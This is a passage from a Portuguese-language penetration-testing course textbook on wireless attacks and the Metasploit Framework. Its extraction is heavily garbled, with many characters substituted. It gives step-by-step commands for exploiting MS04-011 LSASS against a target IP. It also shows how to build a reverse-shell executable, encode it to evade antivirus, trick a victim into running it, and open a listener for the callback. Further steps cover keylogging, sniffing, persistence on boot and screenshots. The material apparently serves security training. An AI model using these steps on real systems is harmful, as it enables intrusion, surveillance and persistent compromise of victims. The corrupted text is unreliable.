Captulo 17 Ataques a Redes Sem Fio - 2!
;@ J ? op$o de deautentica$o, enviando J requisi$%es
;a CA7 Address do Access Point alvo
;c CA7 Address do cliente que vamos deautenticar
wlan@ ? nossa interface wireless
Kuebrando a sen"a capturada com o airodump;n!)
# aircrack-ng -a 2 -w wordlist.t#t wpa-01.cap
1nde)
;a ? Codo para for$ar um determinado tipo de ataque
L ? WPA:WPAL;PBM
;w wordlist
wpa;@A&cap ? arquivo !erado pelo airodump;n!
17... "'A Rainbo/ 0ables
7omo '# visto anteriormente, sabemos que a quebra de sen"as com rainbow
tables muito mais r#pida do que com wordlist&
7omo o al!oritmo de encripta$o do protocolo WPA mais forte do que WEP,
necess#rio utili6armos rainbow tables para quebrar suas sen"as&
Pro!rama para usar rainbow tables)
.$cowpatty -r %dump& -d %rainbow_table& -s %''()&
http:$$www.securitytube.net$*sing-+ow,atty-in--acktrack-.-video.asp#
Captulo 17 Ataques a Redes Sem Fio - 2"
-ownload de rainbow tables)
http:$$www.security-database.com$toolswatch$/,0-1ainbow-2ables-
3ensive.html
17.1. Rou#ue A%%ess 'oint
Rou!ue Access point so WGAN Access Points que no esto autori6ados a
conectar em uma rede& Um Rou!ue AP abre um .buraco/ wireless na rede& Um
"ac5er pode implantar um rou!ue Access point ou um funcion#rio pode criar um
problema de se!uran$a sem saber, simplesmente conectando um Access Point
desconfi!urado na rede da empresa&
Uma ve6 que foi identificado um novo AP na rede, sem confi!ura$o, basta
que confi!uremos a nossa interface de rede para se conectar nesse novo ambiente
desprote!ido&
http:$$www.securitytube.net$0ttacks-on-/i4i-51ogue-0ccess-,oint6-
video.asp#
17.12. "i,i '3is3in#
Wi=i p"is"in! ocorre em "otspots pNblicos
onde usu#rios utili6am access points&
1 atacante aproveita;se do fato de que os
BB>- esto vis0veis a todos na #rea coberta pela
rede&
1 atacante utili6a;se dessa informa$o e confi!ura um access point com o
mesmo BB>- para convencer os usu#rios a se conectarem no access point falso&
Um mtodo mais sofisticado ainda for$ar os usu#rios a se desconectar do
Captulo 17 Ataques a Redes Sem Fio - 2#
access point real e ento conectar ao access point do atacante&
=erramenta para confi!urar um access point)
#.$airsnar
17.11. Contramedidas
Utili6ar sen"as fortes nos Access point
No usar WEP
No confiar em controle de acesso via CA7 Address
Possuir uma pol0tica de se!uran$a atuali6ada, que controle as redes sem fio&
Captulo 18 Exploits - 211
Captulo 19
Metasploit Framework
19.1. Objetivos
Entender como funciona o Metasploit
Entender o funcionamento e como utilizar o Meterpreter
Aprender como conseguir conexo direta e reversa com o alvo
Aprender a implantar backdoors atravs do Metasploit
Aprender a comprometer uma mquina da rede interna atravs de uma DMZ
comprometida
Captulo 19 Metasploit Framework - 212
19.2. Introduo
A pesquisa de vulnerabilidades de softare evoluiu muito nos !ltimos anos" #
pesquisador de vulnerabilidades o tcnico responsvel em encontrar fal$as no
softare que podem levar a um mal funcionamento do softare% ou ainda a uma
poss&vel fal$a de seguran'a" A viso geral sobre seguran'a no se limita apenas a um
poss&vel invasor ou acesso no autorizado ao sistema% seguran'a de softare
significa manter o softare em seu perfeito funcionamento% ou se(a% o funcionamento
imaginado pelo desenvolvedor"
)o cenrio atual da seguran'a da informa'o% infelizmente tentamos proteger
a informa'o no pela raiz do problema% escrevendo programas com qualidade% mas
criando outros softares para proteger um softare mal desenvolvido anteriormente"
*or exemplo+ instalamos um softare que tem erros de programa'o que pode ser
explorado por um intruso% ento instalamos um fireall que tentar bloquear o
trfego de dados entre o softare e o acesso no autorizado" Esse tipo de abordagem
no tem se mostrado muito eficaz" E se esse programa feito para proteger o softare
mal desenvolvido tambm conter os mesmos erros de programa'o,
-erramentas como o Metasploit podem a(udar aos desenvolvedores de
softare produzirem softare com maior qualidade% do ponto de vista da seguran'a%
na medida que incentiva os programadores a pensarem a respeito de como algumas
tcnicas de programa'o levam as fal$as de seguran'a"
# Metasploit frameork um con(unto das mel$ores plataformas de
aprendizagem e investiga'o para o profissional de seguran'a ou do $acker tico" Ele
possui centenas de exploits% pa.loads e ferramentas muito avan'adas que nos
permite testar vulnerabilidades em muitas plataformas% sistemas operacionais% e
servidores" Este frameork deve ser utilizado com muita cautela e somente para fins
ticos"
19.. O !ue " Metasploit Framework
/omo mencionado em seu 0ebsite% Metasploit -rameork uma avan'ada
plataforma #pen 1ource% concebida especificamente com o ob(etivo de refor'ar e
Captulo 19 Metasploit Framework - 213
acelerar o desenvolvimento% ensaio e utiliza'o de exploits"
# pro(eto relacionado a este -rameork% de acordo com seus criadores% que
nasceu como um (ogo% tem mostrado um crescimento espetacular em especial nos
!ltimos tempos 2na min$a modesta opinio""" especificamente a partir da verso 3"34%
aspecto que l$e a(udou a conquistar um lugar privilegiado no 5mbito do kit de
ferramentas de todo profissional relacionado de alguma forma ou de outra com as
tecnologias de seguran'a da informa'o"
Escrito na maioria das vezes em 6*erl6 2seu !nico defeito% de acordo com o
parecer do n!mero cada vez maior de amantes de 6*.t$on6"""4 e com vrios
componentes desenvolvidos em 6/ 6 e 6Assembler6% sua portabilidade est
assegurada% o que contribui em larga medida para a sua aceita'o maci'a% porque
qualquer que se(a a sua escol$a de plataforma de uso 27ike89nix% :1D% Mac ;%
0indos etc4% pode instal8lo e desfrutar todos os seus poderes em poucos minutos e
sem grandes dificuldades"
9m aspecto interessante no que se refere < concesso de licen'as para as
novas vers=es do Metasploit -rameork% o fato de que ela baseada tanto em >*7
v3 como um 6*erl Artistic 7icense6% permitindo a sua utiliza'o em pro(etos #pen
1ource assim como em pro(etos comerciais"
# principal ob(etivo do M1- criar um ambiente de pesquisa%
desenvolvimento e explora'o de vulnerabilidades de softare% fornecendo as
ferramentas necessrias para o ciclo completo da pesquisa que pode ser divido
basicamente em+
Descoberta da vulnerabilidade+ #nde o pesquisador descobre um erro
de programa'o que pode levar ou no a uma brec$a de seguran'a?
Anlise+ #nde o pesquisador analisa a vulnerabilidade para determinar
quais as maneiras pela qual a mesma pode ser explorada" *erguntas8
c$ave so feitas nessa fase do desenvolvimento% como por exemplo+ De
qual maneira a vulnerabilidade pode ser explorada, 7ocalmente ou
remotamente, Entre outras dezenas mais?
Desenvolvimento do exploit+ Depois de respondidas as perguntas da
fase de anlise% come'a o desenvolvimento da explora'o em si% como
Captulo 19 Metasploit Framework - 214
prova da exist@ncia real da vulnerabilidade" Acnicas de engen$aria
reversa% programa'o% debugger etc so usadas nessa fase?
Teste do exploit+ )essa fase o exploit testado em diferentes ambientes
e variveis% service packs% patc$s etc" # exploit em si a prova definitiva
que a vulnerabilidade pode ser explorada"
Desde a consolida'o do Metasploit -rameork% a compara'o com produtos
comerciais com caracter&sticas semel$antes inevitvel" *ro(etos /A)BA1 da
Cmmunit. 1ec ou /#DE CM*A/A da /ore 1ecurit. Aec$nolog. tem uma grande
clientela% que vo desde grandes clientes corporativos que fazem uso destes produtos
na $ora de fazerem suas prEprias tentativas de invaso% at centenas de consultores
de seguran'a independente que utilizam8no como uma ferramenta para vender este
servi'o a terceiros"
1em d!vida% a principal diferen'a entre Metasploit -rameork e este tipo de
produto o 6foco6" Embora os produtos comerciais precisem fornecer
constantemente aos seus clientes os mais recentes exploits acompan$ados de
interfaces grficas bonitas e intuitivas% o Metasploit -rameork pro(etado para
facilitar a investiga'o e experimenta'o de novas tecnologias"
Este ponto% entre outros% faz com que exista mercado para todos" #s
pesquisadores% estudantes% curiosos e independentes% podem obter% sem qualquer
custo% o Metasploit% modificar% personalizar% utiliz8lo para seu trabal$o e ver como
ele funciona internamente para aprender mais% enquanto que% por outro lado%
grandes empresas que exigem uma excelente solu'o corporativa e pode arcar com o
custo possui certamente o privilgio da qualidade dos produtos anteriormente
mencionados"
19.#. Instalando Metasploit Framework
Em primeiro lugar% pois como comentado nos pargrafos anteriores%
Metasploit -rameork pode ser instalado tanto no 9nixF7inux quanto no 0indos"
Aqueles que se sentem confortveis com o 0indos% tem o prazer de saber
Captulo 19 Metasploit Framework - 215
que a instala'o do Metasploit no tem grandes segredos" *ara esta !ltima verso% os
desenvolvedores do Metasploit surpreendem8nos com um simptico assistente% que
ir guiar8nos atravs da implementa'o de um ambiente personalizado /.gin%
seguida pela instala'o e configura'o do prEprio -rameork" Assim% apenas o
donload e a execu'o de um !nico arquivo c$amado 6frameork8G"H"I"exe6 nos
permitir% em apenas alguns momentos% o acesso ao console Metasploit e desfrutar
de todas as suas ferramentas"
1e% pelo contrrio% a sua deciso pelo 9nixF7inux% voc@ pode fazer o
donload da verso mais recente para esta plataforma% comprimida e de
denomina'o 6frameork8G"J"K8linux8iLML"run6"
http://updates.metasploit.com/data/releases/framework-3.5.1-linux-i686.run
ApEs ter feito isso% precisa apenas dar permisso de execu'o ao arquivo e
execut8lo com o comando+
# chmod 755 framework-3.5.1-linux-i686.run
#./framework-3.5.1-linux-i686.run
Embora se(a verdade que com o que aconteceu at agora suficiente para se
familiarizar com o produto% se sua inten'o a de obter todo o proveito dessa
ferramenta% provavelmente quer ter a certeza que ten$a instalado o mEdulo *erl
c$amado 6)et++ 117ea.6 e% se no for esse o caso% proceda < sua instala'o
aproveitando que o mesmo instala8se com o Metasploit% entre os arquivos
organizados no subdiretErio 6extras6 de seu 6pat$6 de instala'o"
Embora as medidas mencionadas nos pargrafos anteriores funcionem na
maioria dos casos% ser bom saber que dependendo da distribui'o 7inux que voc@
est usando% provavelmente vai contar com alguma facilidade adicional ao instalar
Metasploit8-rameork com o seu gerenciador de pacotes preferido"
Captulo 19 Metasploit Framework - 216
19.$. %m ol&ar sobre o Framework
*erfeitoN 1e voc@ c$egou at aqui% provavelmente est ansioso para testar o
funcionamento de seu novo ambiente de trabal$o" Antes de come'ar% precisamos
saber que o Metasploit -rameork fornece8nos basicamente tr@s diferentes
interfaces% no momento de interagir com os mesmos+
Command Line Interface+ Esta a forma correta para interagir com
o -rameork% quando da automatiza'o de testes de seqO@ncias de
exploits ou% simplesmente% nos casos em que no precisar de uma
interface interativa" # utilitrio executado atravs do comando
6msfcli6?
Console Interface+ P provvel que se(a esta a interface mais
comumente utilizada% devido < sua utiliza'o intuitiva e interativa% <
velocidade do seu funcionamento e < sua flexibilidade" 1ua principal
caracter&stica a de proporcionar um Metasploit pronto% a partir do
qual se pode interagir com cada aspecto do -rameork" 1e voc@
quiser usar essa interface% temos que executar o comando
6msfconsole6?
Interface web+ Embora ten$a muitos detratores% a interface eb
Metasploit pode ser extremamente !til em certas circunst5ncias
especiais% tais como apresenta'=es p!blicas ou de trabal$o em equipe"
*ara efeito% esta verso eb do Metasploit inclui seu prEprio servidor
$ttp% a fim de nos dar a capacidade de acesso via broser para
praticamente as mesmas caracter&sticas que sua verso console"
19.5.1. Desenvolvimento do MSF
A primeira verso estvel do M1- foi lan'ada em meados de 3IIH"
#riginalmente escrito em *erl% Assembler e /" 1eus desenvolvedores 2ve(a a lista no
endere'o4 resolveram quebrar o paradigma de como os exploits eram desenvolvidos
at ento"
Captulo 19 Metasploit Framework - 217
Escrever um exploit anteriormente era uma tarefa complexa% e a explora'o
de uma vulnerabilidade exigia con$ecimentos profundos em programa'o especifica
para cada plataforma" # M1- veio para diminuir essa complexidade e fazer intenso
reuso de cEdigo% assim como faz a concep'o da programa'o orientada a ob(etos"
Digamos que antes do M1- o desenvolvimento dos exploits era feito no mel$or
estilo da programa'o procedural tradicional% e depois do M1- a pesquisa come'ou a
se basear na programa'o orientada a ob(etos"
A verso 3"x foi substitu&da pela verso G"x% totalmente reescrita na linguagem
Dub. que uma linguagem #8# real% com caracter&sticas !nicas% como+ alto n&vel de
introspec'o% recria'o automatizada de classes% suporte a t$reading com plataforma
independente e% finalmente% porque uma linguagem que os desenvolvedores
realmente sentem prazer em usar" /omo resultado do uso do Dub.% o cEdigo original
foi enxugado em quase HI% entretanto algumas partes do cEdigo ainda esto em
Assembler e /"
/om a verso G"x% a licen'a passou da >*7 3 para a Metasploit -rameork
7icense vK"3% mais parecida com a >*7 G" # #b(etivo da nova licen'a proteger o
n!cleo do pro(eto do uso comercial% mas ao mesmo tempo% autorizar a integra'o
com mEdulos comerciais agregados% desde que estes mEdulos no modifiquem o
frameork"
Captulo 19 Metasploit Framework - 218
19.'. (e)nolo*ia por detr+s do Framework
# n!cleo do Metasploit reside no DE; 2Dub. Extension 7ibrar.4% que uma
cole'o de classes e mtodos" A descri'o completa das classes e mtodos pode ser
acessada no endere'o+
http://framework.metasploit.com/documents/deelopers!"uide.pdf
E a documenta'o da A*C DE;+
http://framework.metasploit.com/documents/api/rex/index.html
*ara exemplificar algumas entre as muitas funcionalidades dessas classes do
DE;% durante o desenvolvimento do exploit precisamos a(ustar o stack pointer%
muitas vezes isso significa c$amar determinado operador% que so espec&ficos para
cada plataforma% como por exemplo+ (mp opcode na arquitetura xML" Ento
invocamos a classe Dex++Arc$++ para a(ustar o stack pointer e depois especificarmos a
plataforma com Dex++Arc$++;ML com os mtodos (mp% mov% sub% pack% add% call% clear
etc"
#utro exemplo famoso e infame a classe Dex++Exploration++1e$" # 1tructured
Exception Qandling% 1EQ% uma prote'o usada para c$ecar o controle do fluxo
cada vez que uma exce'o acontece" 9m estouro de buffer modifica o fluxo comum
Captulo 19 Metasploit Framework - 219
do programa e o 1EQ trata desses erros" A classe Dex++Exploration++1e$ pode ser
usada para evadir o 1EQ"
*ara maiores informa'=es consulte+
http://www.ee#e.com/html/resources/newsletters/ice/$%&''6'83'.html
#u ainda+
http://freeworld.thc.or"/download.php(t)pf)*ractical-+,--exploitation.pdf
Framework Core+ P formado de vrios sub8sistemas como gerenciamento de
mEdulos% sess=es% despac$o de eventos etc"
Framework Base+ *rov@ a interface para interagir com o -rameork /ore
provendo configura'=es% registro de logs e sess=es"
Interfaces+ *rov@ a interface com o usurio% atualmente so+ msfconsole%
msfcli% msfgui% msfeb% msfd"
Mdulos+ 1o compostos pelos exploits% pa.loads% encoders% )#* generators
e mEdulos auxiliares% como por exemplo% scanners% conexo com base de dados 2M18
1R74% fuzzers de protocolo etc" A lista completa pode ser acessada com o comando
s$o all na interface msfconsole e informa'=es espec&ficas do mEdulo com o
comando info SmoduleTnameU"
!lu"ins+ *odem ser comparados aos mEdulos no sentido de trazer fun'=es
extras ao frameork"
*ara o iniciante importante saber a diferen'a entre exploit e pa.load" Exploit
a explora'o da fal$a em si% que permite ao explorador fazer alguma coisa" #
pa.load a coisa que ser feita" 9m comando a ser executado% um s$ell etc"
# Metasploit conta ainda com outras tecnologias% como por exemplo% a evaso
de Cntrusion Detection 1.stems 2CD14 e Cntrusion *revention 1.stems 2C*14% tornando
a vida dos detectores de intruso mais dif&cil" Atualmente os CD1s e C*1s ainda tem
muitos problemas% e certamente ainda esto longe de uma funcionalidade
Captulo 19 Metasploit Framework - 220
considerada ideal e robusta"
# Metasploit pode servir para auditar essas ferramentas" Existem varias
classes que podem ser usadas para evadir os detectores de intruso%
A/*++maxTsendTsize% A/*++sendTdela.% QAA*++c$unked% QAA*++compression%
1M:++pipeTevasion% D/ED*/++bindTmulti% D/ED*/++alterTcontext% entre outros"
#utra tecnologia que merece destaque o Metasploit anti8forensics c$amada
de MA-CA 2Metasploit Anti8-orensic Cnvestigation Arsenal4" # MA-CA constitu&do
basicamente das ferramentas+
Aimestomp+ 9sado para modificar os arquivos do sistema de arquivo )e
Aec$nolog. -ile 1.stem 2)A-14" *ode8se modificar os valores de quando
os arquivos foram criados% deletados etc"
1lacker+ 9sado para esconder arquivos em parti'=es )A-1"
1am Vuicer+ 9m mEdulo do Meterpreter usado pra extrair $as$es dos
arquivos 1AM sem acessar o disco r&gido"
Aransmogrif.+ -erramenta usada pra passar pelo En/ases file8
signaturing"
1ocial8Engineering Aoolkit+ # 1ocial8Engineering Aoolkit 21EA4 foi
desenvolvido por David Wenned. 2De7KW4 e incorpora muitos ataques
!teis de engen$aria social% todos em uma interface simples" # principal
ob(etivo do 1EA automatizar e mel$orar muitos dos ataques de
engen$aria social a partir dele"
19.,. (e)nolo*ia do Meterpreter -a.load
A fase c$amada pEs8explora'o foi significantemente mel$orada na verso
tr@s" 9m dos principais pa.loads do M1- o Meterpreter" # Meterpreter tenta ser
invis&vel ao sistema atacado" *ara ilustrar% vamos ao exemplo de problemas+ Qost
Cntrusion Detection 1.stems podem soar um alarme assim que voc@ digitar seu
primeiro comando no s$ell ou mesmo deixar rastros para que o perito forense
descubra o que foi feito durante o ataque"
Captulo 19 Metasploit Framework - 221
# meterpreter supera as limita'=es e fornece vrias A*Cs que permitem ao
atacante executar diversos ataques de explora'o no s$ell meterpreter% podendo ir
mais a fundo e descobrindo o mximo poss&vel de informa'=es do alvo e da rede
interna"
# Meterpreter proporciona uma enorme flexibilidade para o processo de pEs8
explora'o% deixando8o at escrever seus prEprios scripts"
*ara finalizar esse capitulo introdutErio% que no tem por ob(etivo ser
exaustivo com rela'o < tecnologia do frameork% lembre8se de que% como todo
pro(eto open source% muito din5mico e novidades so incorporadas da noite para o
dia" Esperamos que todos possam aprendam muito mais sobre seguran'a com o uso
do Metasploit -rameork"
19./. Metasploit e O00(MM em vdeo
Esto dispon&veis no site do -#1DEM 8 -ree and #pen 1ource 1oftare
Development 8 dois v&deos fantsticos"
1implesmente duas apresenta'=es sobre duas ferramentas essenciais em
pentest% metasploit e a metodologia #11AM 2#pen 1ource 1ecurit. Aesting
Met$odolog. Manual4" E no uma simples apresenta'o% so duas apresenta'=es de
duas $oras tendo como apresentador os pais das crian'as Q" D" Moore e *ete Qerzog
respectivamente" Cmperd&velN
.etasploit - http://ftp./elnet./e/mirrors/01+2,./&''7/01+2,.&''7-
.etasploit.o""
1++3.. - http://ftp./elnet./e/mirrors/01+2,./&''7/01+2,.&''7-
+ecurit#3estin".o""
Be(a tambm alguns v&deos de utiliza'o do Metasploit -rameork+
http://www.#outu/e.com/watch()1/nr61.4k'"
http://www.#outu/e.com/watch()%$s56#o7.8
Captulo 19 Metasploit Framework - 222
19.9. 1tuali2ando o Metasploit
Entre no diretErio do M1- com o seguinte comando+
# cd /pentest/exploits/framework3/
*ara atualizar o M1-% digite o seguinte comando+
# sn update
19.13. -rimeiros passos na utili2ao do Metasploit
Abaixo vemos o console do M1- 2Metasploit -rameork4 aberto% que tanto
pode ser executado a partir da interface eb no 0indos% clicando em /onsole" #u
ento% no 7inux% basta digitar 6"Fmsfconsole6 no console do 7inux"
Depois de alguns segundos 2dependendo da velocidade de seu computador4% a
tela de M1-/onsole aparecer conforme a imagem" 7eve alguns momentos para
explorar a tela de console digitando 6$elp6 no prompt msfU"
Captulo 19 Metasploit Framework - 223
*ara ver os vrios exploits existentes e ter uma leve no'o de sua
aplicabilidade% digite 6s$o exploits6 no prompt msfU" Be(a a figura abaixo+
Captulo 19 Metasploit Framework - 224
*ara informa'o sobre um comando em particular% voc@ pode usar o comando
de info" Boc@ sempre poder ter certeza do comando se for !til antes de voc@
execut8lo" #l$emos para informa'o dispon&vel para o comando lsassTmsIHTIKK"
Digite+
9info windows/sm//ms':!'11!lsass9
Be(a abaixo o que aparecer na tela para voc@+
;; info windows/sm//ms':!'11!lsass
<ame: .icrosoft =+8++ +erice 2s>oler?p"rade2ownleel+erer 1erflow
$ersion: :511
*latform: @indows
*riile"ed: Aes
=icense: .etasploit 0ramework =icense
*roided /#:
hdm BhdmCmetasploit.com;
8aila/le tar"ets:
Captulo 19 Metasploit Framework - 225
%d <ame
-- ----
' 8utomatic 3ar"ettin"
1 @indows &''' ,n"lish
& @indows D* ,n"lish
Easic options:
<ame 5urrent +ettin" >eFuired 2escription
-------- ------------------- ------------ ---------------
>-1+3 #es 3he tar"et address
>*1>3 ::5 #es +et the +.E serice port
*a#load information:
+pace: 1'&:
8oid: 7 characters
2escription:
3his module exploits a stack oerflow in the =+8++ sericeG this
ulnera/ilit# was ori"inall# found /# e,#e. @hen re-exploitin" a @indows
D* s#stemG #ou will need need to run this module twice.
25,>*5 reFuest fra"mentation can /e performed /# settin" H0ra"+iIeH
parameter.
>eferences:
http://www.securit#focus.com//id/1'1'8
http://ce.mitre.or"/c"i-/in/cename.c"i(name)&''3-'533
http://www.osd/.or"/5&:8
http://www.microsoft.com/technet/securit#//ulletin/.+':-'11.mspx
http://milw'rm.com/metasploit/36
Captulo 19 Metasploit Framework - 226
Essas informa'=es exibidas sobre o exploit so muito importantes para
sabermos como ele funciona e qual a utilidade dele" P pesquisando dessa forma que
definiremos qual o mel$or exploit para utilizarmos contra um determinado alvo"
*ara utilizar esse exploit% por exemplo% digite no prompt msfU+
use @indows/sm//ms':!'11!lsass
# prompt msfU automaticamente muda para 6msf exploit2msIHTIKKTlsass4U6
mostrando que o exploit foi selecionado e est pronto para uso"
Agora vamos ver que tipo de alvo pode ser afetado por esse exploit" :asta
digitar 6s$o targets6 no prompt msfU" 1er exibida a seguinte tela+
Captulo 19 Metasploit Framework - 227
Agora precisamos saber o que podemos fazer com esse exploit% ( que o
exploit a explora'o da fal$a em si" *ortanto% precisamos de um programa 2ou
mEdulo4 que utilize a fal$a da maneira que precisamos 2execute um comando% rode
um s$ell e etc4% esse programa ou mEdulo um pa.load"
*ara sabermos qual pa.load est dispon&vel para esse exploit% digite no
prompt msfU o comando 6s$o pa.loads6% e ento a tela a seguir ser exibida com
uma lista de todos os pa.loads compat&veis com esse exploit"
*ara definirmos o tipo de alvo que atacaremos explorando suas fal$as% digite
6set AAD>EA X6 substituindo o X pelo n!mero de identifica'o do tipo de alvo que
atacaremos como mostrado numa tela anterior 2nesse caso sE temos as op'=es I Y
Captulo 19 Metasploit Framework - 228
automtico% K Y 0indos 3III e 3 Y 0indos ;*4"
*ara sabermos o tipo de 1"#" de nosso alvo% deveremos ter pesquisado isso na
fase de fingerprinting% onde col$emos informa'=es sobre nossos $osts alvos"
Bamos% como exemplo% atacar um $ost que ten$a como seu 1"#" o 0indos ;*
e queremos rodar um 1$ell a partir dele para termos acesso < mquina" Bou digitar
6set target 36 no prompt msfU para informar que meu alvo uma mquina rodando o
0indos ;*"
E% logo apEs isso% vou digitar 6set *AZ7#AD genericFs$ellTbindTtcp6 para
definir o pa.load que utilizarei% e me retornar um s$ell de comando quando rodar o
exploit contra o alvo"
)esse ponto% se digitarmos 6,6 no prompt msfU% alm da explica'o dos
comandos bsico% surgem outros comandos que precisaremos utilizar" Be(a abaixo+
/omo exibido com o comando 6info6 usado anteriormente% temos duas op'=es
bsicas desse exploit que precisamos configurar para que ele possa ser utilizado" 1o
elas+
<ame 5urrent +ettin" >eFuired 2escription
-------- ------------------- ------------ ---------------
>-1+3 #es 3he tar"et address
>*1>3 ::5 #es +et the +.E serice port
Captulo 19 Metasploit Framework - 229
Bemos que o valor de D*#DA est como HHJ% que ser a porta atravs da qual
ser lan'ado o exploit% mas podemos mudar esse valor se quisermos" Digamos que
atravs de um scan anterior descobri algumas vulnerabilidades na porta KJI% ento
essa mesma que vou utilizar% digitando o seguinte comando no prompt msfU 6set
D*#DA KJI6" Be(amos na tela abaixo como ficou apEs a execu'o desse comando+
# valor da op'o D*#DA foi alterado para KJI% que ser a porta utilizada para
o ataque"
Agora vamos < outra op'o" A op'o DQ#1A definir o endere'o que ser
atacado via exploit% e precisamos configur8lo adequadamente% atribuindo o endere'o
C* do alvo" Digamos que quero atacar o C* K[3"KLM"I"K% preciso digitar o comando no
prompt msfU+
set >-1+3 17&.168.'.1
Be(amos abaixo como ficou a configura'o de ambas op'=es+
Agora precisamos completar o exploit% executando8o contra o alvo" *ara tanto%
temos duas alternativas+
K" utilizar o comando 6c$eck6 em primeiro lugar para ver se nosso alvo
vulnervel a esse exploit e depois usar o comando 6exploit6 para execut8lo? ou
3" utilizar diretamente o comando 6exploit6 para executar o ataque% posto que
alguns mEdulos no aceitam a execu'o do comando 6c$eck6"
Captulo 19 Metasploit Framework - 230
)o caso desse exploit% o comando 6c$eck6 no suportado? ento teremos que
usar o comando 6exploit6% sem a possibilidade de testar anteriormente se o alvo
suscet&vel ao ataque"
1e o ataque fal$ar contra o alvo% um aviso como se segue ser exibido" 1e no%
sendo o alvo vulnervel a esse ataque% voc@ ser apresentado a uma interface de
lin$a de comando interativa da mquina designada% ou se(a% voc@ cair no prompt de
comando" )o desanime se no conseguir de primeiraN Csto sE significa que a
mquina que est testando no vulnervel a esse ataque espec&ficoN
19.11. 1n+lise 4inal
1inta8se < vontade para testar com outros exploits e outros pa.loads% afinal
esta a ess@ncia da invaso com o Metasploit+ testar at descobrir qual a
vulnerabilidade certa e usar uma combina'o de exploit e pa.load que funcione"
*rocure manter8se sempre atualizado com as novas vers=es do Metasploit%
pois os pacotes de exploits% pa.loads e mEdulos sempre so atualizados e vem com
novas op'=es"
19.12. -r+ti)a diri*ida
19.12.1. Payload com Meterpreter
/om o msf atualizado% iremos criar o pa.load que enviaremos para o nosso
alvo" *rosseguimos com o seguinte comando+
Captulo 19 Metasploit Framework - 231
# ./msfpa#load windows/shell/reerse!tcp =-1+3)DD.DD.DD.DD
=*1>3)::55 D ; cliFueaFui.exe
1er criado no diretErio corrente o arquivo executvel 6cliqueaqui"exe6
Bamos analisar o nosso executvel com alguns antiv&rus on8line% para ver como
ele ser caracterizado quando o alvo abri8lo no 0indos"
http://www.irustotal.com/pt/
http://irusscan.4otti.or"/pt-/r
Depois dos resultados% vamos fazer um \tunning] em nosso "exe+
# ./msfpa#load windows/shell/reerse!tcp =-1+3)DD.DD.DD.DD
=*1>3)::55 > J ./msfencode -c 15 -e x86/shikata!"a!nai -a x86 -t raw J
./msfencode -c 5 -a x86 -e x86/alpha!mixed -t raw J ./msfencode -c 3 -e
x86/call:!dword!xor -t exe ; cliFueaFui&.exe
A op'o 8c diz quantas vezes cada encoder ir interagir com o nosso pa.load%
nos dias de $o(e% isso ( no adianta muito% demonstrado apenas para ver as
possibilidades de se redirecionar a sa&da de um encoder para outro"
Depois do tunning em nosso "exe% vamos test8lo nos mesmos sites de
antiv&rus que antes% e comparar os resultados"
A partir da&% engen$aria social pura% onde deve usar a imagina'o para
convencer o alvo a executar o arquivo"
Aproveite um pouco de seu tempo para ler o seguinte+
# ./msfpa#load -h
# ./msfencode -h
# ./msfencode -l
Captulo 19 Metasploit Framework - 232
ApEs criar o "exe% codific8lo para torn8lo mais dificilmente detectvel por
antiv&rus e envi8lo ao alvo% precisamos colocar o metasploit para \escutar] < espera
da conexo
msf; ./msfcli exploit/multi/handler *8A=182)windows/shell/reerse!tcp
=-1+3) 17&.168.'.11' =*1>3)::55 ,
Ao ser executado o nosso arquivo no computador do alvo% ser estabelecida
uma conexo entre o atacante e o alvo" Assim gan$amos nossa s$ell meterpreter"
Aparentemente parece que est travado% mas no estN Depare que a sesso
meterpreter ( foi criada% sendo assim% pressionamos /trl^/ para finalizar este
6travamento6"
Agora digite o comando+
; sessions -l
Aemos uma sesso ativa com CD de n!mero K identificando8a"
Agora vamos interagir com o console meterpreter% basta o comando+
; sessions -i 1
1e o alvo abrir o gerenciador de tarefas no indos% ver o processo de nosso
executvel \cliqueTaqui"exe] rodando% o que pode gerar desconfian'a"
*recisamos migra para um outro processo% mais estvel e menos arriscado do
usurio interromper% como o explorer"exe% por exemplo"
Agora ve(amos no console meterpreter o processo que estamos com o
comando getpid% seguido do comando ps"
1abendo o n!mero do processo para o qual queremos migrar% vamos executar
o comando \migrate _pid`] para migrar de processo+
; mi"rate :7&

Captulo 19 Metasploit Framework - 233
/om isso feito% vamos testar os comandos s.sinfo e ipconfig"
*ara saber os comandos dispon&veis% digite \$elp] ou \,]"
19.12.2. Keylogging com Meterpreter
Agora vamos usar o ke.logging e vamos tentar capturar o mximo das teclas
digitadas pelo usurio"
/om o comando ke.scanTstart iniciamos o nosso ke.logger"
; ke#scan!start

Agora vamos ver o que nosso ke.logger pegou com o comando ke.scanTdump
e logo em seguida finalizo o mesmo"
; ke#scan!dump
; ke#scan!stop
Captulo 19 Metasploit Framework - 234
19.12.3. Sniffing com Meterpreter
*rimeiramente precisamos carregar o mEdulo sniffer com o comando use
sniffer"
; use sniffer
Em seguida% pedimos para listar as interfaces de rede com o comando
snifferTinterfaces"
; sniffer!interfaces
Cremos iniciar nosso sniffer nesta interface indicada pelo n!mero K com o
comando 6snifferTstart K6% podemos esperar o tempo que ac$armos conveniente"
; sniffer!start 1
Be(amos algumas informa'=es sobre o arquivo sniffer"cap usando o capinfos"
; capinfos sniffer.cap
Captulo 19 Metasploit Framework - 235
Bamos analisar o arquivo sniffer"cap com a ferramenta 0ires$ark" :asta abrir
o 0ires$ark e ir em -ile U #pen e apontar para o arquivo sniffer"cap"
19.12.4. Mantendo o acesso
E se a pessoa reiniciar ou at mesmo desligar a mquina destino, *ara isso
existe um script meterpreter que nos a(udar fazer o que queremos% seu nome
persistenceN
*ara que possamos manter o acesso com a mquina alvo% precisamos executar
o seguinte comando no console meterpreter+
; run persistence -D
# comando acima criar um arquivo executvel na maquina destino% a op'o
8; serve para que o arquivo criado se(a executado durante o boot da mquina
destino% ve(am onbootYtrue" Depare na sa&da do comando o endere'o C* local da
mquina do atacante e que ela escutar na porta HHHH% que a padro% podemos
alterar a porta padro para outra que nos conven$a usando a op'o 8p seguido do
n!mero da porta% exemplo% 8p JJJJ"
*ara testarmos% fec$e a (anela do console msf e abra8a novamente% vamos
configurar o exploit multiF$andler para ficar aguardando pela conexo"
Captulo 19 Metasploit Framework - 236
; use exploit/multi/handler
; set *8A=182 windows/meterpreter/reerse!tcp
; set =-1+3 17&.168.'.11'
; set =*1>3 ::::
; exploit
19.12.5. PrintScreen
#utro recurso interessante que o meterpreter nos oferece a possibilidade de
tirarmos um printscreen da mquina alvo"
; use espia

Captulo 19 Metasploit Framework - 237
9samos o comando use espia% para carregar o mEdulo meterpreter e em
seguida executamos o comando screens$ot seguido pelo camin$o onde ser salvo
nosso screens$ot com o nome de printK"png"
; screenshot /rot/print1.pn"
